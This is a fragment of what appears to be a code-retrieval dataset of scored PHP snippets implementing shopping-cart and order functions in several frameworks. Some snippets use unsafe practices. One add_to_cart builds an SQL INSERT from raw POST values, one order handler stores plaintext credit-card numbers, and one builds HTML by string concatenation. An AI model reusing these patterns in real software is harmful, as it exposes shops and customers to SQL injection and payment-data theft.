$data['updated_at'] = date(\"Y-m-d H:i:s\");\n Pos::insert($data);\n\n }\n \n return response()->json($data);\n \n }", "title": "" }, { "docid": "978d3bd7e752cc9d5d3ca8d7d32bb767", "score": "0.58208555", "text": "public function addToCart($post)\n { \n global $entityManager;\n \n //si la quantité est spécifiée\n if(isset($post['qt']))\n $quantity = intval($post['qt']);\n else\n $quantity = 1;\n \n //recupération de l'id du produit à ajouter dans le panier\n $productid = intval($post['id']);\n \n //on récupère l'utilisateur\n if($_SESSION[\"user\"]==NULL)\n {\n $template = $this->twig->load(\"signin.twig\");\n echo $template->render([\"message\"=>\"Veuillez vous connecter\"]);\n }\n else\n {\n //on cherche l'utilisateur et le produit\n $user=$entityManager->getRepository(User::class)->findOneBy(array('id' => $_SESSION[\"user\"]));\n $product=$entityManager->getRepository(Product::class)->findOneBy(array('id' => $productid));\n \n //on regarde s'il y a déjà une commande en cours\n $cart = $entityManager\n ->createQueryBuilder()\n ->select('o')\n ->from(' App\\Models\\Order', 'o')\n ->where('o.user = :id AND o.status LIKE :status')\n ->orderBy('o.date_order', 'ASC')\n ->setParameter('id',$_SESSION[\"user\"])\n ->setParameter('status','%ongoing%')\n ->getQuery()\n ->getResult();\n \n //si non on en crée une\n if(!$cart)\n {\n //on enregistre la date présente\n $date = date('m/d/Y');\n $date_order = new DateTime($date);\n \n //on met la commande à \"en cours\"\n $status = \"ongoing\";\n \n //si le produit est en solde, on prend le prix soldé\n if($product->getSale())\n $amount = $product->getSalePrice() * $quantity;\n else\n $amount = $product->getPrice() * $quantity;\n \n //on crée la commande\n $cart = new Order();\n $cart->setUser($user);\n $cart->setDateOrder($date_order);\n $cart->setTotalAmount($amount);\n $cart->setStatus($status);\n \n //on cree la table de laison entre le cart et les produits\n $productcart = new ProductOrder();\n $productcart->setQuantity($quantity);\n $productcart->setProduct($product);\n $productcart->setOrder($cart);\n \n $entityManager->persist($cart);\n $entityManager->persist($productcart);\n $entityManager->flush();\n \n }\n //sinon on ajoute le produit à la commande existante\n else\n {\n //on met à jour le total du cart\n //si le produit est en solde, on prend le prix soldé\n if($product->getSale())\n $price = $product->getSalePrice() * $quantity;\n else\n $price = $product->getPrice() * $quantity;\n \n $total_amount = $price + $cart[0]->getTotalAmount();\n $cart[0]->setTotalAmount($total_amount);\n $entityManager->persist($cart[0]);\n \n //on cherche la table associée\n //on regarde si le produit est déjà présent dans le cart\n $productincart=$entityManager->getRepository(ProductOrder::class)->findOneBy(array('order' => $cart,'product'=>$product));\n\n //si le produit est déjà présent dans le cart\n if ($productincart)\n {\n //on met à jour la quantité de produit dans le cart\n $qt = $productincart->getQuantity() + $quantity;\n $productincart->setQuantity($qt);\n \n $entityManager->persist($productincart);\n $entityManager->flush();\n }\n //s'il n'est pas présent dans le cart on l'ajoute\n else\n {\n $productcart = new ProductOrder();\n $productcart->setQuantity($quantity);\n $productcart->setProduct($product);\n $productcart->setOrder($cart[0]);\n $entityManager->persist($productcart);\n $entityManager->flush();\n }\n }\n } \n }", "title": "" }, { "docid": "106389645ff53d726d25436bcd9fa68a", "score": "0.58142436", "text": "public function addOrder(Request $request)\n {\n try {\n // Prior to placing an order, ensure the user can still order products\n $qtyRequest = $request->input('quantity');\n $currentUser = User::where('email', $request->input('email'))->first();\n $existingProductCount = $currentUser ? $currentUser->getUserMonthProductCount() : 0;\n if ($existingProductCount + $qtyRequest > Order::MAX_PRODUCT_QTY_MONTHLY) {\n return response()->json([\n 'error_type' => self::PRODUCT_LIMIT_REACHED_KEY,\n 'existing_product_count' => $existingProductCount\n ], 400, [], JSON_NUMERIC_CHECK);\n }\n\n if (!$currentUser) {\n try {\n // In a live project, we would need to validate fields, sanitize, etc.to provide a simple, actionable user message\n // Given this is a simplistic demo, let the order creation fail if the data isn't right\n $currentUser = User::create([\n 'firstName' => $request->input('firstName'),\n 'lastName' => $request->input('lastName'),\n 'email' => $request->input('email'),\n ]);\n } catch (\\Exception $e) {\n throw new \\Exception('Unable to create user. Please ensure all fields are present and contain values.');\n }\n\n }\n\n // In a live project, we would need to validate fields, sanitize, etc. to provide a simple, actionable user messag\n // Given this is a simplistic demo, let the order creation fail if the data isn't right\n try {\n $newOrder = $currentUser->orders()->create([\n 'street1' => $request->input('address.street1'),\n 'street2' => $request->input('address.street2'),\n 'city' => $request->input('address.city'),\n 'zipcode' => $request->input('address.zip'),\n 'state' => $request->input('address.state'),\n 'phone' => $request->input('phone'),\n 'sku' => 'DEFAULT_PRODUCT',\n 'total' => $request->input('total'),\n 'qty' => $request->input('quantity'),\n 'cc_number' => $request->input('payment.ccNum'),\n 'cc_expiration' => $request->input('payment.exp')\n ]);\n } catch (\\Exception $e) {\n throw new \\Exception('Unable to create order. Please ensure all fields are present and contain values.');\n }\n\n return response()->json(['id' => $newOrder->id], 201, [], JSON_NUMERIC_CHECK);\n } catch (\\Throwable $t) {\n $exceptionCode = (int) $t->getCode() > 400 ? $t->getCode() : 400;\n return response()->json($t->getMessage(), $exceptionCode, [], JSON_NUMERIC_CHECK);\n }\n }", "title": "" }, { "docid": "39dd5081909e01e9bac5293917e687ee", "score": "0.58133936", "text": "function addAddCartItem($product_id) {\n $apm = new AdminProductModel();\n\n $apm->ID = $product_id;\n\n $apm->find();\n\n if ($apm->fetch()) {\n // x. Get from session\n $session_cart = isset($_SESSION['session.cart'])? $_SESSION['session.cart'] : array();\n\n // x. Insert or update product to the cart\n if (isset($session_cart[$product_id])) {\n $aoim = $session_cart[$product_id];\n\n $aoim->QUANTITY += 1;\n\n $aoim->QUANTITY = min(10, $aoim->QUANTITY);\n } else {\n $aoim = new AdminOrderItemModel();\n\n $aoim->TITLE = $apm->TITLE;\n $aoim->IMAGE = $apm->IMAGE;\n $aoim->ID_ADMIN_PRODUCT = $apm->ID;\n $aoim->LIST_PRICE = $apm->LIST_PRICE;\n $aoim->PRICE = $apm->PRICE;\n $aoim->QUANTITY = 1;\n }\n\n $session_cart[$product_id] = $aoim;\n\n // x. Update to session\n $_SESSION['session.cart'] = $session_cart;\n }\n }", "title": "" }, { "docid": "f27606a6ae42991232db9dba80636437", "score": "0.5791142", "text": "public function createOrder($products){\n if(!empty($products)){\n $total = 0;\n foreach($products[\"p\"] as $value){\n $product = Product::model()->findByPk($value['id']);\n if(!empty($product)){\n //get discount price\n $nowprice = Yii::app()->shoppingcart->getNowPrice($value['id']);\n if($nowprice == \"\"){\n $price = $product->shop_price;\n }else{\n $price = $nowprice;\n }\n\n $product_total = $price * $value['quantity'];\n $total += $product_total;\n }\n $product->sales = $value['quantity'];\n $product->save(false);\n }\n $order_total = 0;\n if(isset($products['Insurance']) && $products['Insurance'] == 1){\n $order_total = $total + ceil($total * 0.02);\n }else{\n $order_total = $total;\n }\n $model = new self;\n $model->uid = Yii::app()->user->id;\n $model->ip = Yii::app()->request->userHostAddress;\n $model->address = $products['address'];\n $model->billing_address = $products['billing_address'];\n $model->total_price = $order_total;\n if($products['shipping'] == self::SHIPPING_BY_EMS){\n $model->shipping = self::SHIPPING_BY_EMS;\n $address = Address::model()->findByPk($products['address']);\n $shipping_price = Yii::app()->shoppingcart->getShippingPriceByUidAndCountry(Yii::app()->user->id,$address->country);\n if($shipping_price != -1){\n $model->shipping_price = $shipping_price;\n $model->total_price = $total + $shipping_price;\n }else{\n $model->shipping = self::SHIPPING_BY_AIRMAIL;\n }\n }else{\n $model->shipping = self::SHIPPING_BY_AIRMAIL;\n }\n if($products['payment'] == self::PAYMENT_BY_PAYPAL){\n $model->payment = self::PAYMENT_BY_PAYPAL;\n $model->payaccount = $products['payaccount'];\n }else{\n $model->payment = self::PAYMENT_BY_WESTERNUNION;\n }\n if(isset($products['Insurance']) && $products['Insurance'] == 1){\n $model->insurance = ceil($total * 0.02);\n }\n \n $model->status = self::ORDER_STATUS_CREATED;\n $model->save(false);\n //create order product relations\n foreach($products[\"p\"] as $product){\n $orderProduct = new OrderProduct;\n $orderProduct->order_id = $model->id;\n $orderProduct->product_id = $product['id'];\n $orderProduct->product_quantity = $product['quantity'];\n if(empty($product['profile'])){\n $product['profile'] = array();\n }\n $orderProduct->product_meta = serialize($product['profile']);\n $product = Product::model()->findByPk($product['id']);\n \n if(Yii::app()->shoppingcart->getNowPrice($product['id']) == \"\"){\n $orderProduct->product_price = $product->shop_price;\n }else{\n $orderProduct->product_price = Yii::app()->shoppingcart->getNowPrice($product['id']);\n $subject = SubjectProduct::model()->findByAttributes(array('product_id'=>$product['id']));\n $orderProduct->info = $subject->subject->name;\n }\n $orderProduct->save(false);\n }\n return $model->id;\n }\n }", "title": "" }, { "docid": "d089fa947542f5a9656c955579e71576", "score": "0.5762224", "text": "public function addtocart($data, $form)\n {\n if ($variation = $this->getBuyable($data)) {\n $quantity = (isset($data['Quantity']) && is_numeric($data['Quantity'])) ? (int)$data['Quantity'] : 1;\n $cart = ShoppingCart::singleton();\n $request = $this->getRequest();\n\n $order = $cart->current();\n if ($request && $request->isAjax() && $order) {\n ShopTools::install_locale($order->Locale);\n }\n\n // if we are in just doing a validation step then check\n if ($this->getRequest()->requestVar('ValidateVariant')) {\n $message = '';\n $success = false;\n\n try {\n $success = $variation->canPurchase(null, $data['Quantity']);\n } catch (Exception $e) {\n $message = get_class($e);\n // added hook to update message\n $this->extend('updateVariationAddToCartMessage', $e, $message, $variation);\n }\n\n $ret = [\n 'Message' => $message,\n 'Success' => $success,\n 'Price' => $variation->dbObject('Price')->TrimCents(),\n ];\n\n $this->extend('updateVariationAddToCartAjax', $ret, $variation, $form);\n\n return json_encode($ret);\n }\n\n $saveabledata = (!empty($this->saveablefields)) ? Convert::raw2sql(\n array_intersect_key($data, array_combine($this->saveablefields, $this->saveablefields))\n ) : $data;\n\n if ($cart->add($variation, $quantity, $saveabledata)) {\n $form->sessionMessage(\n _t('ShoppingCart.ItemAdded', 'Item has been added successfully.'),\n 'good'\n );\n } else {\n $form->sessionMessage($cart->getMessage(), $cart->getMessageType());\n }\n } else {\n $variation = null;\n $form->sessionMessage(\n _t(__CLASS__ . '.VariationNotAvailable', 'That variation is not available, sorry.'),\n 'bad'\n ); //validation fail\n }\n\n $this->extend('updateVariationAddToCart', $form, $variation);\n\n $this->extend('updateVariationFormResponse', $request, $response, $variation, $quantity, $form);\n return $response ? $response : ShoppingCartController::direct();\n }", "title": "" }, { "docid": "08bec52605f83319c60bcb49514188b0", "score": "0.575236", "text": "public function newOrderProduct($name_client, $cart, $status, $payment_method )\n {\n $date = $payment_method ? date('Ymd') : null;\n\n DB::beginTransaction();\n\n $order = $this->create([\n 'name_client' => $name_client,\n 'status' => $status,\n 'payment_method' => $payment_method,\n 'date' => date('Ymd'),\n 'date_refresh_status' => $date,\n ]);\n\n// return $order;\n\n $productOrder = [];\n $itemsCart = $cart->getItems();\n\n\n\n if($status == 2)\n {\n $result = [];\n foreach ($itemsCart as $item)\n {\n $productOrder[$item['item']->id] = [\n 'qtd' => $item['qtd'],\n 'price' => $item['item']->price,\n ];\n\n $stock = Stock::where('product_id',$item['item']->id)->first();\n\n $amount_stock = $stock->amount;\n\n $stock->amount = ($amount_stock - $item['qtd']);\n\n $result[] = $stock->save();\n\n }\n }else{\n foreach ($itemsCart as $item)\n {\n $productOrder[$item['item']->id] = [\n 'qtd' => $item['qtd'],\n 'price' => $item['item']->price,\n ];\n }\n }\n\n\n if( $order)\n {\n\n $order->products()->attach($productOrder);\n\n DB::commit();\n return [\n 'success' => true,\n 'message' =>'Sucesso salvar pedido'\n ];\n }else{\n DB::rollBack();\n return [\n 'success' => false,\n 'message' =>'Falha ao salvar pedido'\n ];\n\n\n }\n\n }", "title": "" }, { "docid": "465a3f632086fcc169b4854fd718a8b4", "score": "0.57511866", "text": "public function confirm_order(Request $request){\n $data = $request->all();\n $order = new Orders();\n $order->user_id = Auth::user()->id;\n $order->address_id = $data[\"address_id\"];\n $order->pp_id = $data[\"pp_id\"];\n\n // Generating order number like #00000012 and saving it\n $latestOrder = Orders::orderBy('created_at','DESC')->first();\n $order->order_number = '#'.str_pad($latestOrder->id + 1, 8, \"0\", STR_PAD_LEFT);\n\n $order->save();\n\n // $order_id = $order->id;\n\n $cart_products = ExtensionCart::where('user_id', Auth::user()->id)->get();\n\n $total_price = 0;\n foreach ($cart_products as $key => $value) {\n // dd($value->product_name);\n $product = new Products();\n $values = $value->getAttributes();\n\n foreach ($values as $key1 => $value1) {\n if($key1 == \"price\"){\n $pkr_price = preg_replace(\"/(\\,)/\", \"\", $value1);\n $pkr_price = str_replace(\"$\", \"\",$pkr_price);\n \n $pkr_price = (float) $pkr_price;\n \n $pkr_price = $pkr_price * 150;\n\n // Mulitply price with quantity;\n // dd($value->quantity); \n $pkr_price = $pkr_price * $value->quantity;\n\n $total_price = $total_price + $pkr_price;\n // dd($total_price);\n \n $product->$key1 = $pkr_price;\n }\n else if($key1 != \"id\" && $key1 != \"user_id\" && $key1 != \"created_at\" && $key1 != \"updated_at\" && $key1 != \"quantity\" && $value1 != null){\n $product->$key1 = $value1;\n }\n }\n \n $product->save();\n \n $shopping_cart = new Cart();\n $shopping_cart->order_id = $order->id;\n $shopping_cart->product_id = $product->id;\n $shopping_cart->quantity = $value->quantity;\n $shopping_cart->save();\n\n }\n\n $order->total_price = $total_price;\n $order->save();\n $address = Address::Where('id', $data[\"address_id\"])->first();\n $total_price = $order->total_price + $order->pricing_plan->price;\n $array_order = [$order->id, $address->delivery_address, $total_price];\n\n return response()->json(['details' => $array_order], 200);\n\n }", "title": "" }, { "docid": "d27a52c9b785793b1b55360be1201494", "score": "0.57426524", "text": "function gc_template_loop_add_to_cart( $args = array() ) {\n\t\tglobal $product;\n\n\t\tif ( $product ) {\n\t\t\t$defaults = array(\n\t\t\t\t'quantity' => 1,\n\t\t\t\t'class' => implode( ' ', array_filter( array(\n\t\t\t\t\t\t'btn btn-outline-secondary gc-add-to-cart',\n\t\t\t\t\t\t'product_type_' . $product->get_type(),\n\t\t\t\t\t\t$product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',\n\t\t\t\t\t\t$product->supports( 'ajax_add_to_cart' ) ? 'ajax_add_to_cart' : '',\n\t\t\t\t) ) ),\n\t\t\t);\n\n\t\t\t$args = apply_filters( 'woocommerce_loop_add_to_cart_args', wp_parse_args( $args, $defaults ), $product );\n\n\t\t\twc_get_template( 'loop/add-to-cart.php', $args );\n\t\t}\n\t}", "title": "" }, { "docid": "c9bad5254ac0be6b6fddb952599eb264", "score": "0.5733128", "text": "Public function addToCart(Request $request){\n // return ( $amt.' of item '.$id.' has been added to the cart');\n //firstly we get this item from our db\n $id = $request->id;\n //we need to get the qty from the request as well\n $qty = $request->qty;\n\n //then get item from the menu table with laravel eloquent model\n $item = menu::find($id);\n\n //CHECK IF THERE'S A CART ALREADY IN THE SESSION\n //If yes, get the cart else return null\n $oldCart = Session::has('cart')? Session::get('cart'):null;\n $cart = new Cart($oldCart);\n\n //add item to the cart with the id and it's extras\n $cart->add($item, $item->product_id,$request->extras);\n\n //get item qty\n $productQty = $cart->items[$request->id.''.$request->extras]['qty'];\n\n\n //add the cart back into the session to previous the previous one without current item\n $request->session()->put('cart', $cart);\n\n\n //list of items in cart\n $listOfItems = \"\";\n $listOfItems .= \"<div>\n <table style='margin-left:0px; height: 70px; border-top:0px;' class='table table-hover' id= 'cartTable'>\n <tbody id = 'myTBody' style = 'height: 100%; overflow-y: scroll; overflow-x: hidden; display:block; ' >\";\n\n $checkout_button_state = \" \";\n //to confirm if the orders if the checkout button is active or in active\n $current_restaurant = Restaurants::find(Session::get('current_restaurant_id'));\n\n\n if($cart->totalPrice < $current_restaurant->restaurant_minimum_order)\n {\n $checkout_button_state = \"disabled\";\n }\n\n //next thing is the list of items\n //we need to iterate through the cart and make it into an html text contatonated in a string\n foreach($cart->items as $product)\n {\n //add a new table row\n $listOfItems .=\n \"<tr id = '\".$product['item']['product_id'].\"'>\".\n \"<td class= 'qty-edit-td' style = 'width: 45.5%;'>\".\n \"<a \".$checkout_button_state.\"style = 'border-radius: 9px; height: 5px; padding: 0;' href='' onclick = 'deleteCartItem(\".$product['item']['product_id'].\")' >\".\n \"<span class='fa-stack fa-sm'>\".\n \" <i class='fa fa-circle fa-stack-2x text-primary'></i>\".\n \" <i class='fa fa-minus fa-stack-1x text-primary' style='color: white; padding-top:1px;'></i>\".\n \"</span>\".\n \"</a>\".\n \"<span style = 'font-size: 13px; font-weight: 13px;' id = 'quantity\".$product['item']['product_id'].\"'>\".$product['qty'].\"</span>\n <a href='#' style = 'border-radius: 20px;' onclick = 'addItemToCart(\".$product['item']['product_id'].\")'>\".\n \"<span class='fa-stack'>\".\n \"<i class='fa fa-circle fa-stack-2x text-primary'></i>\".\n \"<i style='padding-top:1px; color:white;' class='fa fa-plus fa-stack-1x'></i>\".\n \"</span>\n </a>\".\n \"</td>\".\n \"<td class='product-name-td' style=' padding-top: 12px; width:70%; '>\". $product['item']['product_name']. \"+\". $product['extra']. \"</td>\".\n \"<td align='right' id='price\".$product['item']['product_id'].\"' style = 'width: 100%; vertical-align:middle;'>₦\".$product['price'].\"</td>\".\n \"</tr>\";\n }\n $listOfItems .= \" </tbody>\n </table>\n </div>\";\n\n $subTotal = $cart->totalPrice;\n $total = $cart->totalPrice;\n\n $current_restaurant = Restaurants::find(Session::get('current_restaurant_id'));\n\n $info = array(\n 'productQty' => $productQty,\n 'listOfItems' => $listOfItems,\n 'subTotal' => $subTotal,\n 'total' => $total,\n 'min_order_price' => $current_restaurant->restaurant_minimum_order\n );\n\n $result_info = json_encode($info);\n //return the total quantity for the\n return $result_info ;\n\n }", "title": "" }, { "docid": "6cf8d03e54dd802eb6e2e5944ce26cb4", "score": "0.57328224", "text": "public function addToCart($id)\n\t{\n\t\t$quantity = $_GET['quantity'];\n\t\t$packaging = $_GET['packaging'];\n\t\t$update = $_GET['update'];\n\n\t\n\t \t$entry = Products::getEntries($id, null, null, 'false');\n\n\t \tif($update == 'true'){\n\t \t\t$rowid = $_GET['rowid'];\n\t \t\tCart::update($rowid, array('qty' => $quantity));\n\t \t}else{\n\t \t\tCart::add(array('id' => $id, 'name' => $entry['entry']->title, 'qty' => $quantity, 'price' => $entry['entry']->price, 'options' => array('image' => $entry['entry']->image, 'permalink' => $entry['entry']->permalink, 'packaging' => $packaging)));\n\t \t}\n\t\t\n\t\t\n\t\t$cartitems = Cart::content();\n\n\t\t$total_count = 0;\n\n\t\tforeach($cartitems as $item){\n\t\t\t$total_count = $item->qty + $total_count;\n\t\t}\n\n\t\t \n\n return Response::json(['success'=>true, 'total_count' => $total_count]);\n \n\t}", "title": "" }, { "docid": "debf168449b9c2780d4846f0b0b7701b", "score": "0.57275575", "text": "public function rapid_add($id)\n {\n $pdt = Product::find($id);\n\n $cartItem = Cart::add([\n 'id' => $pdt->id,\n 'name' => $pdt->name,\n //since we are not going into product details, we are adding the product in the homepage by just clicking on the 'add to cart' button\n //so by defaut it will be 1\n 'qty' => 1,\n 'price' => $pdt->price\n ]);\n\n Cart::associate($cartItem->rowId, 'App\\Product');\n\n Session::flash('success', 'Product added to cart.');\n\n return redirect()->route('cart');\n }", "title": "" }, { "docid": "78aacf90b88e32b0ace20a50bf93f916", "score": "0.5714928", "text": "public function insert($order_id = 0, $product_id = 0, $quantity = 0, $production_cost = 0, $retail_price = 0, $wholesale_price = 0, $amount = 0, $volume = 0, $rank_volume = 0, $faststart = 0, $tax_rate = 0, $tax_amount = 0, $weight = 0) {\n $db = database::get_instance();\n $db->query(ORDER_PRODUCT_SQL_INSERT, array($order_id, $product_id, $quantity, $production_cost, $retail_price,\n $wholesale_price, $amount, $volume, $rank_volume, $faststart, $tax_rate, $tax_amount, $weight));\n }", "title": "" }, { "docid": "93e0de0a11c10d105dce104337076b76", "score": "0.5714077", "text": "public function index() {\n \n // echo '<pre>';\n // print_r($_POST);\n // die('qwweqe');\n \t\t// Validate minimum quantity requirements.\n \t\t$products = $this->cart->getProducts();\n\n \t\tforeach ($products as $product) {\n \t\t\t$product_total = 0;\n \n \t\t\tforeach ($products as $product_2) {\n \t\t\t\tif ($product_2['product_id'] == $product['product_id']) {\n \t\t\t\t\t$product_total += $product_2['quantity'];\n \t\t\t\t}\n \t\t\t}\n \n // \t\t\tif ($product['minimum'] > $product_total) {\n // \t\t\t\t$this->response->redirect($this->url->link('checkout/cart'));\n // \t\t\t}\n \t\t}\n \t\t \t\t\n if ($this->request->server['HTTPS']) {\t\t\n $server = $this->config->get('config_ssl');\t\n } \n else {\t\t\n $server = $this->config->get('config_url');\t\n } \n \n if (is_file(DIR_IMAGE . $this->config->get('config_logo'))) {\t\t\n $data['logo'] = $server . 'image/' . $this->config->get('config_logo');\t\t\n } \n else {\t\t\n $data['logo'] = '';\t\n }\n\n\t$data['name'] = 'Doggy';//$this->config->get('config_name');\n \t\t$this->load->language('checkout/checkout');\n \n \t\t$this->document->setTitle($this->language->get('heading_title'));\n \n \t\t$this->document->addScript('catalog/view/javascript/jquery/datetimepicker/moment/moment.min.js');\n \t\t$this->document->addScript('catalog/view/javascript/jquery/datetimepicker/moment/moment-with-locales.min.js');\n \t\t$this->document->addScript('catalog/view/javascript/jquery/datetimepicker/bootstrap-datetimepicker.min.js');\n \t\t$this->document->addStyle('catalog/view/javascript/jquery/datetimepicker/bootstrap-datetimepicker.min.css');\n \n \t\t// Required by klarna\n \t\tif ($this->config->get('payment_klarna_account') || $this->config->get('payment_klarna_invoice')) {\n \t\t\t$this->document->addScript('http://cdn.klarna.com/public/kitt/toc/v1.0/js/klarna.terms.min.js');\n \t\t}\n \n \t\t$data['breadcrumbs'] = array();\n \n \t\t$data['breadcrumbs'][] = array(\n \t\t\t'text' => $this->language->get('text_home'),\n \t\t\t'href' => $this->url->link('common/home')\n \t\t);\n \n \t\t$data['breadcrumbs'][] = array(\n \t\t\t'text' => $this->language->get('text_cart'),\n \t\t\t'href' => $this->url->link('checkout/cart')\n \t\t);\n \n \t\t$data['breadcrumbs'][] = array(\n \t\t\t'text' => $this->language->get('heading_title'),\n \t\t\t'href' => $this->url->link('checkout/cart', '', true)\n \t\t);\n \n \t\t$data['text_checkout_option'] = sprintf($this->language->get('text_checkout_option'), 1);\n \t\t$data['text_checkout_account'] = sprintf($this->language->get('text_checkout_account'), 2);\n \t\t$data['text_checkout_payment_address'] = sprintf($this->language->get('text_checkout_payment_address'), 2);\n \t\t$data['text_checkout_shipping_address'] = sprintf($this->language->get('text_checkout_shipping_address'), 3);\n \t\t$data['text_checkout_shipping_method'] = sprintf($this->language->get('text_checkout_shipping_method'), 4);\n \t\t\n \t\tif ($this->cart->hasShipping()) {\n \t\t\t$data['text_checkout_payment_method'] = sprintf($this->language->get('text_checkout_payment_method'), 5);\n \t\t\t$data['text_checkout_confirm'] = sprintf($this->language->get('text_checkout_confirm'), 6);\n \t\t} else {\n \t\t\t$data['text_checkout_payment_method'] = sprintf($this->language->get('text_checkout_payment_method'), 3);\n \t\t\t$data['text_checkout_confirm'] = sprintf($this->language->get('text_checkout_confirm'), 4);\t\n \t\t}\n \n \t\tif (isset($this->session->data['error'])) {\n \t\t\t$data['error_warning'] = $this->session->data['error'];\n \t\t\tunset($this->session->data['error']);\n \t\t} else {\n \t\t\t$data['error_warning'] = '';\n \t\t}\n \n \t\t$data['logged'] = $this->customer->isLogged();\n \n \t\tif (isset($this->session->data['account'])) {\n \t\t\t$data['account'] = $this->session->data['account'];\n \t\t} else {\n \t\t\t$data['account'] = '';\n \t\t}\n \t\t$data['settings'] = $settings = $this->getSettings();\n \t\t$data['shipping_address_field'] = $this->session->data['shipping_address']['country'].', '.$this->session->data['shipping_address']['address_1'].' '.$this->session->data['shipping_address']['address_2'];\n \t$data['settings'] = $settings = $this->getSettings();\n $data['language'] = $this->session->data['language'];\n $data['text_card_number'] = html_entity_decode($data['settings']['text_card_number_' . $data['language']], ENT_QUOTES, 'UTF-8');\n $data['text_card_details'] = html_entity_decode($data['settings']['text_card_details_' . $data['language']], ENT_QUOTES, 'UTF-8');\n $data['text_card_expiry'] = html_entity_decode($settings['text_card_expiry_' . $data['language']], ENT_QUOTES, 'UTF-8');\n $data['text_card_postcode'] = html_entity_decode($settings['text_card_postcode_' . $data['language']], ENT_QUOTES, 'UTF-8');\n $data['shipping_address_field'] = $this->session->data['shipping_address']['country'].', '.$this->session->data['shipping_address']['address_1'].' '.$this->session->data['shipping_address']['address_2'];\n \t$data['postal_code'] = $this->session->data['shipping_address']['postcode'];\n \n $transaction_mode = $data['settings'][$data['settings']['transaction_mode'] . '_application_id'];\n \t\n \t\n \t\t$data['checkout_success'] = $this->url->link('checkout/successquare', '', 'SSL');\n \n \t\t$data['shipping_required'] = '';\n \n \t\t$data['column_left'] = $this->load->controller('common/column_left');\n \t\t$data['column_right'] = $this->load->controller('common/column_right');\n \t\t$data['content_top'] = $this->load->controller('common/content_top');\n \t\t$data['content_bottom'] = $this->load->controller('common/content_bottom');\n \t\t$data['footer'] = $this->load->controller('common/footer');\n \t\t$data['header'] = $this->load->controller('common/header');\n\n \t\t$this->response->setOutput($this->load->view('checkout/checkoutcustom', $data));\n\t \n\t}", "title": "" }, { "docid": "983cfc6561191682904983abd7c91471", "score": "0.5711227", "text": "function add_to_cart($items){\n $pid=$_POST['product_id']; \n $qty=$_POST['qty']; \n $uid=$_POST['user']; \n $date=date('y-m-d');\n if($uid==0){\n @session_start();\n $_SESSION['cart'];\n array_push($_SESSION['cart'],$pid);\n print_r($_SESSION['cart']);\n }elseif($uid!=0){\n $final_query = \"INSERT INTO `orders`(`user_id`, `product_id`, `quantity`,order_date) VALUES ('$uid',$pid,'$qty','$date')\";\n $result = $this->db->connect()->prepare($final_query);\n\t\t\t\n if( $result->execute()){\necho\"yees\"; \n }else{\necho\"no\";\n } }\n }", "title": "" }, { "docid": "8e0af0abd4c0da67068e097c90af2acb", "score": "0.5704823", "text": "public function add_more(){\n\n\t\t\t$cost = $_POST['data']['cost'];\n\t\t\t$abc=$this->AdminVender->get_product_name($_POST['data']['pro']);\n\t\t\t\n\t\t\t$_POST['data']['product']=$abc[0]['product'];\n\t\t\t$_POST['data']['total']=$_POST['data']['qun']*$cost;\n\n\n\t\t\t$_SESSION['product'][]=$_POST['data'];\n\t\t\techo json_encode($_POST);\n\n\n\n\t\t}", "title": "" }, { "docid": "57848af83f66e35226249e6be706564a", "score": "0.5690254", "text": "function mst_header_ajaxify_add_to_cart( $fragments ) {\n\tglobal $woocommerce;\n\t\n\tob_start();\n\t\n\t?>\n\t<a class=\"ajaxify-cart\" href=\"<?php echo $woocommerce->cart->get_cart_url(); ?>\" title=\"<?php _e('View your shopping cart', 'mst'); ?>\">Cart (<?php echo sprintf(_n('%d', '%d', $woocommerce->cart->cart_contents_count, 'mst'), $woocommerce->cart->cart_contents_count);?>)</a>\n\t<?php\n\t\n\t$fragments['.ajaxify-cart'] = ob_get_clean();\n\t\n\treturn $fragments;\n\t\n}", "title": "" }, { "docid": "609b519b02c7203fe26fef262246ec48", "score": "0.56894654", "text": "public function addAction( Request $request ) {\n\t\t$session = new Session();\n\t\tif ( $session->get( 'product' ) !== null ) {\n\t\t\t$array = $session->get( 'product' );\n\t\t\t$add = true;\n\t\t\tforeach ($array as &$key){\n\t\t\t\tif ($key['id'] == $request->request->get('id')){\n\t\t\t\t\t$key['quantity'] += 1;\n\t\t\t\t\t$add = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$session->set( 'product', $array );\n\t\t\tif ($add){\n\t\t\t\tarray_push( $array, $request->request->all() );\n\t\t\t\t$session->set( 'product', $array );\n\t\t\t\tdie();\n\t\t\t}\n\t\t} else {\n\t\t\t$session->set( 'product', array( $request->request->all() ) );\n\t\t}\n\t\t$response = new Response();\n\t\t$response->setContent(json_encode(array(\n\t\t\t'cart' => $session->get('product'),\n\t\t)));\n\t\t$response->headers->set('Content-Type', 'application/json');\n\t\treturn $response;\n\t}", "title": "" }, { "docid": "587f89b3fa271d47873872c831dbee5b", "score": "0.5679802", "text": "public function addWrappingToCart()\n\t{\n\t\t$productId = $this->request->post['id'];\n\t\t$selectedWrappingId = $this->request->post['selectedWrappingId'];\n\t\t$themeId = $this->request->post['themeId'];\n\t\t$wrappingType = $this->request->post['wrappingType'];\n\t\t$this->load->model('catalog/product');\n\t\t$productInfo = $this->model_catalog_product->getProduct($selectedWrappingId);\n\t\t\n\t\t$wrappingPrice = $productInfo['price'];\n\t\n\t\tif(isset($this->session->data['wrapping'][$productId]) && $this->session->data['wrapping'][$productId]['themeId'] == $themeId && $this->session->data['wrapping'][$productId]['wrapId'] == $selectedWrappingId )\n\t\t{\n\t\t\t$addonPrice = $this->session->data['addOnPrice'][$productId];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$addonPrice = 0;\n\t\t\t$this->session->data['wrapping'][$productId] = array('themeId'=>$themeId,'wrapId' =>$selectedWrappingId, 'price'=>$wrappingPrice);\n\t\t}\n\t\t$this->session->data['wrapping'][$productId]['wrappingType'] = $wrappingType;\n\t\t\n\t\t$addonPrice = $this->calculateProductAddon($productId);\n\t\t$this->calculateTotalAddon();\n\t\t\n\t\t$json['addOnPrice'] = $this->currency->format($this->tax->calculate($addonPrice, $productInfo['tax_class_id'], $this->config->get('config_tax')));;\n\t\t$json['cartTotal'] = $this->calculateTotal();\n\t\t\n\t\t$json['intCartSubTotal'] = number_format($this->intCartSubTotal,0,',','.');\t\t\n\t\t$json['intCartTotal'] = number_format($this->intCartTotal,0,',','.');\n\t\t$json['intAddOnTotal'] = number_format($this->session->data['totalAddOnPrice'],0,',','.');\n\t\t\n\t\t\n\t\t$this->response->setOutput(json_encode($json));\n\t}", "title": "" }, { "docid": "e804802a0b004e829d97c4652fda98ec", "score": "0.5671399", "text": "public function addProductGridAction()\n {\n try 